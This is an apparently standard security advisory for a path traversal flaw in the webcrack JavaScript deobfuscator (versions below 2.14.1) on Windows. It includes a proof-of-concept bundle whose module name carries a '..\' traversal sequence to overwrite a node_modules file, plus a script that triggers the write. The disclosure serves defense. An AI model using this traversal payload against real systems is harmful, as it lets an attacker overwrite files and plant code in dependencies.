Improper Input Validation Affecting webcrack package, versions <2.14.1

webcrack is a Deobfuscate, unminify and unpack bundled javascript

Affected versions of this package are vulnerable to Improper Input Validation when parsing and saving a malicious bundle. An attacker can overwrite files on the host system when using the unpack bundles feature in conjunction with the saving feature by crafting malicious input that includes path traversal sequences, exploiting the failure of path normalization checks.

Note: This vulnerability impacts Windows operation systems.

Malicious Script (what.js):

(function (e) {
    var n = {};
    function o(r) {
      if (n[r]) {
        return n[r].exports;
      }
      var a = (n[r] = {
        i: r,
        l: false,
        exports: {},
      });
      e[r].call(a.exports, a, a.exports, o);
      a.l = true;
      return a.exports;
    }
    o.p = '';
    o((o.s = 386));
  })({
    './\\..\\node_modules\\debug\\src\\index': function (e, t, n) {
        module.exports = () => console.log("pwned")
    },
  });

Webcrack Script (index.js):

import fs from 'fs';
import { webcrack } from 'webcrack';

const input = fs.readFileSync('what.js', 'utf8');
const result = await webcrack(input);
console.log(result.code);
console.log(result.bundle);
await result.save('output-dir');

• GitHub Commit
• Vulnerable Code